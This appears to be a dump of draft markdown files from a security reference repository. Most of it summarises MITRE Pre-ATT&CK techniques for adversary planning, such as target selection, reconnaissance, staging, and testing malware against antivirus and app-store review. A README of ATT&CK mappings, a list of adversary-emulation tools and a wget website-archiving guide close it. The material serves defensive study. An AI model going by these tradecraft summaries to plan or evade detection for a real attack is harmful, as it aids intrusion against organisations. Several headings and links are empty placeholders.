 84 | 	* Analysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question.
 85 | 
 86 | 
 87 | -------------------------------
 88 | ## Identify analyst level gaps
 89 | * [Identify analyst level gaps - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1010)
 90 | 	* Analysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ).
 91 | 
 92 | 
 93 | 
 94 | 
 95 | 
 96 | 
 97 | -------------------------------
 98 | ## Identify gap areas
 99 | * [Identify gap areas](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1002)
100 | 	* Leadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ).
101 | 
102 | 
103 | 
104 | 
105 | 
106 | -------------------------------
107 | ## Receive operator KITs/KIQs tasking
108 | * [Receive operator KITs/KIQs tasking - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1012)
109 | 	* Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement. Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement.
110 | 
111 | 
112 | 
113 | 
114 | 
115 | 
116 | 
117 | 
118 | 


--------------------------------------------------------------------------------
/Draft/ATT&CK-Stuff/Pre-ATT&CK/Priority_Definition_Directive.md:
--------------------------------------------------------------------------------
 1 | # Priority Definition Directive
 2 | 
 3 | 
 4 | * [Priority Definition Direction - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Priority_Definition_Direction)
 5 | 	* Priority definition direction consists of the process of collecting and assigning requirements for meeting Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ) as determined by leadership. 
 6 | 
 7 | 
 8 | 
 9 | 
10 | 
11 | 
12 | 
13 | 
14 | -------------------------------
15 | ## Assign KITs, KIQs, and/or intelligence requirements
16 | * [Assign KITs, KIQs, and/or intelligence requirements - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1015)
17 | 	* Once generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission.12 
18 | 
19 | 
20 | 
21 | 
22 | 
23 | 
24 | 
25 | -------------------------------
26 | ## Receive KITs/KIQs and determine requirements
27 | * [Receive KITs/KIQs and determine requirements - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1016)
28 | 	* Applicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements. For example, an adversary's nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities.
29 | 
30 | 
31 | 
32 | 
33 | 
34 | -------------------------------
35 | ## Submit KITs, KIQs, and intelligence requirements
36 | * [Submit KITs, KIQs, and intelligence requirements - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1014)
37 | 	* Once they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system.
38 | 
39 | 
40 | 
41 | -------------------------------
42 | ## Task requirements
43 | * [Task Requirements - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1017)
44 | 	* Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements
45 | 
46 | 
47 | 
48 | 
49 | 
50 | 
51 | 
52 | -------------------------------
53 | ## 
54 | 
55 | 
56 | -------------------------------
57 | ## 
58 | 
59 | -------------------------------
60 | ## 
61 | 
62 | 
63 | 
64 | 
65 | -------------------------------
66 | ## Commonly Used Port
67 | * [Commonly Used Port - ATT&CK](https://attack.mitre.org/wiki/Technique/T1043)
68 | 	* Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection.
69 | * [List of TCP and UDP port numbers - Wikipedia](https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers)
70 | 
71 | 


--------------------------------------------------------------------------------
/Draft/ATT&CK-Stuff/Pre-ATT&CK/Stage_Capabilities.md:
--------------------------------------------------------------------------------
 1 | # Stage Capabilities
 2 | 
 3 | 
 4 | * [Stage Capabilities - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Stage_Capabilities)
 5 | 	* Staging capabilities consists of preparing operational environment required to conduct the operation. This includes activities such as deploying software, uploading data, enabling command and control infrastructure. 
 6 | 
 7 | 
 8 | 
 9 | 
10 | --------------------------
11 | ### Disseminate removable media
12 | * [Disseminate removable media - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1156)
13 | 	* Removable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access.
14 | 
15 | 
16 | 
17 | --------------------------
18 | ### Distribute malicious software development tools
19 | * [Distribute malicious software development tools - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1171)
20 | 	* An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools.
21 | 
22 | 
23 | --------------------------
24 | ### Friend/Follow/Connect to targets of interest
25 | * [Friend/Follow/Connect to targets of interest - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1141)
26 | 	* A form of social engineering designed build trust and to lay the foundation for future interactions or attacks.1 
27 | 
28 | 
29 | --------------------------
30 | ### Hardware or software supply chain implant
31 | * [Hardware or software supply chain implant](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1142)
32 | 	* During production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance.
33 | 
34 | 
35 | 
36 | 
37 | --------------------------
38 | ### Port Redirector
39 | * [Port Redirector - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1140)
40 | 	* Redirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack.
41 | 
42 | 
43 | 
44 | 
45 | --------------------------
46 | ### Upload, install, and configure software/tools
47 | * [Upload, install, and configure software/tools - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1139)
48 | 	* An adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure.
49 | 
50 | 
51 | 
52 | 
53 | 
54 | 
55 | 
56 | 
57 | 
58 | 
59 | 
60 | 
61 | 
62 | 
63 | 
64 | 
65 | 


--------------------------------------------------------------------------------
/Draft/ATT&CK-Stuff/Pre-ATT&CK/Target_Selection.md:
--------------------------------------------------------------------------------
 1 | # Target Selection
 2 | 
 3 | 
 4 | 
 5 | * [Target Selection - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Target_Selection)
 6 | 	* Target selection consists of an iterative process in which an adversary determines a target by first beginning at the strategic level and then narrowing down operationally and tactically until a specific target is chosen.  A target may be defined as an entity or object that performs a function considered for possible engagement or other action. 
 7 | 
 8 | 
 9 | 
10 | 
11 | 
12 | -------------------------------
13 | ### Determine approach/attack vector
14 | * [Determine approach/attack vector](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1022)
15 | 	* The approach or attack vector outlines the specifics behind how the adversary would like to attack the target. As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector.
16 | 
17 | 
18 | 
19 | 
20 | 
21 | -------------------------------
22 | ### Determine highest level tactical element
23 | * [Determine highest level tactical element - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1020)
24 | 	* From a tactical viewpoint, an adversary could potentially have a primary and secondary level target. The primary target represents the highest level tactical element the adversary wishes to attack. For example, the corporate network within a corporation or the division within an agency.
25 | 
26 | 
27 | 
28 | 
29 | 
30 | -------------------------------
31 | ### Determine operational element
32 | * [Determine operational element](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1019)
33 | 	* If going from strategic down to tactical or vice versa, an adversary would next consider the operational element. For example, the specific company within an industry or agency within a government.
34 | 
35 | 
36 | 
37 | 
38 | 
39 | -------------------------------
40 | ### Determine secondary level tactical element
41 | * [Determine secondary level tactical element](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1021)
42 | 	* The secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack. Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability.
43 | 
44 | 
45 | 
46 | -------------------------------
47 | ### Determine strategic target 
48 | * [Determine strategic target - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1018)
49 | 	* An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic). As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector.
50 | 
51 | 
52 | 
53 | 


--------------------------------------------------------------------------------
/Draft/ATT&CK-Stuff/Pre-ATT&CK/Technical_Information_Gathering.md:
--------------------------------------------------------------------------------
  1 | # Technical Information Gathering
  2 | 
  3 | ## Table of Contents
  4 | - []()
  5 | - []()
  6 | - []()
  7 | - []()
  8 | - []()
  9 | - []()
 10 | - []()
 11 | - []()
 12 | - []()
 13 | - []()
 14 | 
 15 | 
 16 |  [Technical Information Gathering - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technical_Information_Gathering)
 17 | * Technical information gathering consists of the process of identifying critical technical elements of intelligence an adversary will need about a target in order to best attack.  Technical intelligence gathering includes, but is not limited to, understanding the target's network architecture, IP space, network services, email format, and security procedures.
 18 | 
 19 | 
 20 | 
 21 | ---------------------------------------------------------
 22 | ### Acquire OSINT data sets and information
 23 | * [Acquire OSINT data sets and information](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1024)
 24 | 	* Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world.
 25 | 
 26 | ---------------------------------------------------------
 27 | ### Conduct Active Scanning
 28 | * [Conduct Active Scanning - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1031)
 29 | 	* Active scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system.
 30 | 
 31 | 
 32 | 
 33 | 
 34 | ---------------------------------------------------------
 35 | ### Conduct passive scanning
 36 | * [Conduct passive scanning - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1030)
 37 | 	* Passive scanning is the act of looking at existing network traffic in order to identify information about the communications system.
 38 | 
 39 | 
 40 | 
 41 | ---------------------------------------------------------
 42 | ### Conduct social engineering
 43 | * [Conduct social engineering - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1026)
 44 | 	* Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action.
 45 | 
 46 | 
 47 | 
 48 | 
 49 | ---------------------------------------------------------
 50 | ### Determine 3rd party infrastructure services
 51 | * [Determine 3rd party infrastructure services - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1037)
 52 | 	* Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization.
 53 | 
 54 | 
 55 | 
 56 | 
 57 | ---------------------------------------------------------
 58 | ### Determine domain and IP address space
 59 | * [Determine domain and IP address space - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1027)
 60 | 	* Domain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network.1 
 61 | 
 62 | 
 63 | 
 64 | ---------------------------------------------------------
 65 | ### Determine external network trust dependencies
 66 | * [Determine external network trust dependencies - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1036)
 67 | 	* Network trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs).
 68 | 
 69 | 
 70 | 
 71 | 
 72 | ---------------------------------------------------------
 73 | ### Determine firmware version
 74 | * [Determine firmware version - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1035)
 75 | 	* Firmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions.
 76 | 
 77 | 
 78 | 
 79 | 
 80 | ---------------------------------------------------------
 81 | ### Discover target logon/email address format
 82 | * [Discover target logon/email address format - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1032)
 83 | 	* Email addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format.
 84 | 
 85 | 
 86 | ---------------------------------------------------------
 87 | ### Enumerate client configurations
 88 | * [Enumerate client configurations - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1039)
 89 | 	* Client configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications. This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers.
 90 | 
 91 | 
 92 | 
 93 | 
 94 | ---------------------------------------------------------
 95 | ### Enumerate externally facing software applications technologies, languages, and dependencies
 96 | * [Enumerate externally facing software applications technologies, languages, and dependencies - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1038)
 97 | 	* Software applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary.
 98 | 
 99 | 
100 | 
101 | 
102 | ---------------------------------------------------------
103 | ### Identify job postings and needs/gaps
104 | * [Identify job postings and needs/gaps - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1025)
105 | 	* Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms.
106 | 
107 | 
108 | 
109 | 
110 | ---------------------------------------------------------
111 | ### Identify security defensive capabilities
112 | * [Identify security defensive capabilities - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1040)
113 | 	* Security defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses.
114 | 
115 | 
116 | 
117 | ---------------------------------------------------------
118 | ### Identify supply chains
119 | * [Identify supply chains - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1023)
120 | 	* Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain.
121 | 
122 | ---------------------------------------------------------
123 | ### Identify technology usage patterns
124 | * [Identify technology usage patterns - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1041)
125 | 	* Technology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques.
126 | 
127 | 
128 | ---------------------------------------------------------
129 | ### Identify web defensive services
130 | * [Identify web defensive services - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1033)
131 | 	* An adversary can attempt to identify web defensive services as CloudFlare, IPBan, and Snort. This may be done by passively detecting services, like CloudFlare routing, or actively, such as by purposefully tripping security defenses.
132 | 
133 | 
134 | 
135 | 
136 | 
137 | ---------------------------------------------------------
138 | ### Map network topology
139 | * [Map network topology - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1029)
140 | 	* A network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related.
141 | 
142 | 
143 | 
144 | 
145 | 
146 | 
147 | ---------------------------------------------------------
148 | ### Mine technical blogs/forums
149 | * [Mine technical blogs/forums - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1034)
150 | 	* Technical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use.
151 | 
152 | 
153 | 
154 | 
155 | 
156 | ---------------------------------------------------------
157 | ### Obtain domain/IP registration information
158 | * [Obtain domain/IP registration information - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1028)
159 | 	* For a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization.
160 | 
161 | 
162 | 
163 | 
164 | 
165 | ---------------------------------------------------------
166 | ### Spearphishing for Information
167 | * [Spearphishing for Information - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1174)
168 | 	* Spearphishing for information is a specific variant of spearphishing. Spearphishing for information is different from other forms of spearphishing in that it it doesn't leverage malicious code. All forms of spearphishing are elctronically delivered social engineering targeted at a specific individual, company, or industry. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials, without involving malicious code. Spearphishing for information frequently involves masquerading as a source with a reason to collect information (such as a system administrator or a bank) and providing a user with a website link to visit. The given website often closely resembles a legitimate site in appearance and has a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Spearphishing for information may also try to obtain information directly through the exchange of emails, instant messengers or other electronic conversation means.
169 | 
170 | 
171 | 
172 | 
173 | 
174 | 
175 | 
176 | 
177 | 
178 | 
179 | 
180 | 
181 | 
182 | 


--------------------------------------------------------------------------------
/Draft/ATT&CK-Stuff/Pre-ATT&CK/Technical_Weakness_Identification.md:
--------------------------------------------------------------------------------
  1 | # Technical Weakness Identification
  2 | 
  3 | 
  4 | ## Table of Contents
  5 | - []()
  6 | - []()
  7 | - []()
  8 | - []()
  9 | - []()
 10 | - []()
 11 | - []()
 12 | - []()
 13 | - []()
 14 | 
 15 | 
 16 | 
 17 | [Technical Weakness Identification](https://attack.mitre.org/pre-attack/index.php/Technical_Weakness_Identification)
 18 | * Technical weakness identification consists of identifying and analyzing weaknesses and vulnerabilities collected during the intelligence gathering phases to determine best approach based on technical complexity and adversary priorities (e.g., expediency, stealthiness). 
 19 | 
 20 | 
 21 | 
 22 | 
 23 | 
 24 | ---------------------------------------------------------
 25 | ### Analyze application security posture
 26 | * [Analyze application security posture- Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1070)
 27 | 	* An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way.
 28 | 
 29 | 
 30 | 
 31 | 
 32 | 
 33 | ---------------------------------------------------------
 34 | ### Analyze architecture and configuration posture
 35 | * [Analyze architecture and configuration posture - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1065)
 36 | 	* An adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include architectural flaws, misconfigurations, or improper security controls.
 37 | 
 38 | 
 39 | 
 40 | 
 41 | 
 42 | ---------------------------------------------------------
 43 | ### Analyze data collected
 44 | * [Analyze data collected- Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1064)
 45 | 	* An adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc. They will analyze technical scanning results to identify weaknesses in the confirmation or architecture.
 46 | 
 47 | 
 48 | 
 49 | 
 50 | 
 51 | ---------------------------------------------------------
 52 | ### Analyze hardware/software security defensive capabilities
 53 | * [Analyze hardware/software security defensive capabilities- Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1071)
 54 | 	* An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way.
 55 | 
 56 | ---------------------------------------------------------
 57 | ### Analyze organizational skillsets and deficiencies
 58 | * [Analyze organizational skillsets and deficiencies - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1066)
 59 | 	* Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts.
 60 | 
 61 | 
 62 | 
 63 | 
 64 | ---------------------------------------------------------
 65 | ### Identify vulnerabilities in third-party software libraries
 66 | * [Identify vulnerabilities in third-party software libraries - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1166)
 67 | 	* Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library.
 68 | 
 69 | 
 70 | 
 71 | ---------------------------------------------------------
 72 | ### Research visibility gap of security vendors
 73 | * [Research visibility gap of security vendors - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1067)
 74 | 	* If an adversary can identify which security tools a victim is using they may be able to identify ways around those tools.
 75 | 
 76 | 
 77 | 
 78 | ---------------------------------------------------------
 79 | ### Test signature detection
 80 | * [Test signature detection - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1069)
 81 | 	* An adversary can test the detections of malicious emails or files by using publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don't publicly publish results or they can test on their own internal infrastructure.
 82 | 
 83 | 
 84 | 
 85 | ---------------------------------------------------------
 86 | ### Research relevant vulnerabilities/CVEs
 87 | * [Research relevant vulnerabilities/CVEs - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1068)
 88 | 	* Common Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable.
 89 | 
 90 | 
 91 | 
 92 | 
 93 | ---------------------------------------------------------
 94 | ### 
 95 | * [- Pre-ATT&CK]()()
 96 | 	* 
 97 | 
 98 | 
 99 | 
100 | 


--------------------------------------------------------------------------------
/Draft/ATT&CK-Stuff/Pre-ATT&CK/Test_Capabilities.md:
--------------------------------------------------------------------------------
 1 | # Test Capabilities
 2 | 
 3 | * [Test Capabilities - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Test_Capabilities)
 4 | 	* Testing capabilities takes place when adversaries may need to test capabilities externally to refine development goals and criteria and to ensure success during an operation. Certain testing may be done after a capability is staged. 
 5 | 
 6 | 
 7 | 
 8 | 
 9 | 
10 | 
11 | 
12 | -------------------------------
13 | ### Review logs and residual traces 
14 | * [Review logs and residual traces - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1135)
15 | 	* Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code.
16 | 
17 | 
18 | 
19 | 
20 | 
21 | -------------------------------
22 | ### Test ability to evade automated mobile application security analysis performed by app stores
23 | * [Test ability to evade automated mobile application security analysis performed by app stores - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1170)
24 | 	* Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices.
25 | 
26 | 
27 | 
28 | 
29 | -------------------------------
30 | ### Test callback functionality
31 | * [Test callback functionality](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1133)
32 | 	* Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached.
33 | 
34 | 
35 | 
36 | 
37 | -------------------------------
38 | ### Test malware in various execution environments 
39 | * [Test malware in various execution environments - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1134)
40 | 	* Malware may perform differently on different platforms (computer vs handheld) and different operating systems (Ubuntu vs OS X), and versions (Windows 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed.
41 | 
42 | 
43 | -------------------------------
44 | ### Test malware to evade detection
45 | * [Test malware to evade detection - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1136)
46 | 	* An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services.
47 | 
48 | 
49 | 
50 | 
51 | -------------------------------
52 | ### Test physical access
53 | * [Test physical access - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1137)
54 | 	* An adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access.
55 | 
56 | 
57 | 
58 | 
59 | -------------------------------
60 | ### Test signature detection for file upload/email filters
61 | * [Test signature detection for file upload/email filters - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1138)
62 | 	* An adversary can test their planned method of attack against existing security products such as email filters or intrusion detection sensors (IDS).
63 | 
64 | 
65 | 
66 | 
67 | 
68 | 
69 | 
70 | 
71 | 
72 | 
73 | 


--------------------------------------------------------------------------------
/Draft/ATT&CK-Stuff/README.md:
--------------------------------------------------------------------------------
 1 | ### Mitre Pre-ATT&CK Mappings
 2 | ---------------------------
 3 | * MITRE Pre-ATT&CK Framework ([MITRE ATT&CK Framework](https://attack.mitre.org/pre-attack/index.php/Main_Page) for attackers.
 4 | * This is a copy of the mappings with links to techniques and background information.
 5 | - [Adversary Opsec]()
 6 | - [Build Capabilities]()
 7 | - [Organization Informational Gathering]()
 8 | - [Organizational Weakness]()
 9 | - [People Information Gathering]()
10 | - [People Weakness Identification]()
11 | - [Persona Development]()
12 | - [Priority Definition Planning]()
13 | - [Priority Definition Directive]()
14 | - [Stage Capabilities]()
15 | - [Target Selection]()
16 | - [Technical Information Gathering]()
17 | - [Test Capabilities]()
18 | 
19 | 
20 | 
21 | 
22 | 
23 | 
24 | ### MITRE ATT&CK Framework Mappings 
25 | ---------------------------
26 | * MITRE ATT&CK Framework ([MITRE ATT&CK Framework](https://attack.mitre.org/wiki/Main_Page)) for attackers.
27 | * This is a copy of the mappings with links to techniques and background information rather than APT reports.
28 | 	* If you want to test your defenses against a lot of these things:
29 | 		* [Atomic Red Team - Small and highly portable detection tests mapped to the Mitre ATT&CK Framework.](https://github.com/redcanaryco/atomic-red-team)
30 | * [Collection](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/ATT%26CK-Stuff/Collection.md)
31 | * [Command and Control](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/ATT%26CK-Stuff/Command_and_Control.md)
32 | * [Credential Access](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/ATT%26CK-Stuff/Command_and_Control.md)
33 | * [Defense Evasion](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/ATT%26CK-Stuff/Defense_Evasion.md)
34 | * [Discovery](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/ATT%26CK-Stuff/Discovery.md)
35 | * [Execution](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/ATT%26CK-Stuff/Execution.md)
36 | * [Exfiltration](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/ATT%26CK-Stuff/Exfiltration.md)
37 | * [Initial Access](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/ATT%26CK-Stuff/Initial_Access.md)
38 | * [Lateral Movement](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/ATT%26CK-Stuff/Lateral%20Movement.md)
39 | * [Persistence](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/ATT%26CK-Stuff/Persistence.md)
40 | * [Privilege Escalation](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/ATT%26CK-Stuff/Privilege_Escalation.md)
41 | * If you want to test your defenses against a lot of these things:
42 | 	* [Atomic Red Team - Small and highly portable detection tests mapped to the Mitre ATT&CK Framework.](https://github.com/redcanaryco/atomic-red-team)
43 | 	* [Caldera](https://github.com/mitre/caldera)
44 | 		* CALDERA is an automated adversary emulation system that performs post-compromise adversarial behavior within enterprise networks. It generates plans during operation using a planning system and a pre-configured adversary model based on the Adversarial Tactics, Techniques & Common Knowledge (ATT&CK™) project. These features allow CALDERA to dynamically operate over a set of systems using variable behavior, which better represents how human adversaries perform operations than systems that follow prescribed sequences of actions.
45 | 	* [Metta](https://github.com/uber-common/metta)
46 | 		* An information security preparedness tool to do adversarial simulation. This project uses Redis/Celery, python, and vagrant with virtualbox to do adversarial simulation. This allows you to test (mostly) your host based instrumentation but may also allow you to test any network based detection and controls depending on how you set up your vagrants. The project parses yaml files with actions and uses celery to queue these actions up and run them one at a time without interaction.
47 | 
48 | 
49 | 
50 | 
51 | 
52 | 
53 | 
54 | 
55 | 


--------------------------------------------------------------------------------
/Draft/Archiving.md:
--------------------------------------------------------------------------------
 1 | ### A Guide to Archiving Websites
 2 | * From: https://gist.githubusercontent.com/mullnerz/9fff80593d6b442d5c1b/raw/2c511e82f998bc489d9e300870f8789c77c2b49b/archive-website.md
 3 | * "The command I use to archive a single website"
 4 | 	* `sh wget -mpck --html-extension --user-agent="" -e robots=off --wait 1 -P . www.foo.com`
 5 | * **Explanation of the parameters used**
 6 | 	* `-m` (Mirror) Turns on mirror-friendly settings like infinite recursion depth, timestamps, etc.
 7 | 	* `-c` (Continue) Resumes a partially-downloaded transfer
 8 | 	* `-p` (Page requisites) Downloads any page dependencies like images, style sheets, etc.
 9 | 	* `-k` (Convert) After completing retrieval of all files…
10 | 		* converts all absolute links to other downloaded files into relative links 
11 | 		* converts all relative links to any files that weren’t downloaded into absolute, external links 
12 | 		* In a nutshell: makes your website archive work locally
13 | 	* `--html-extension` this adds .html after the downloaded filename, to make sure it plays nicely on whatever system you’re going to view the archive on
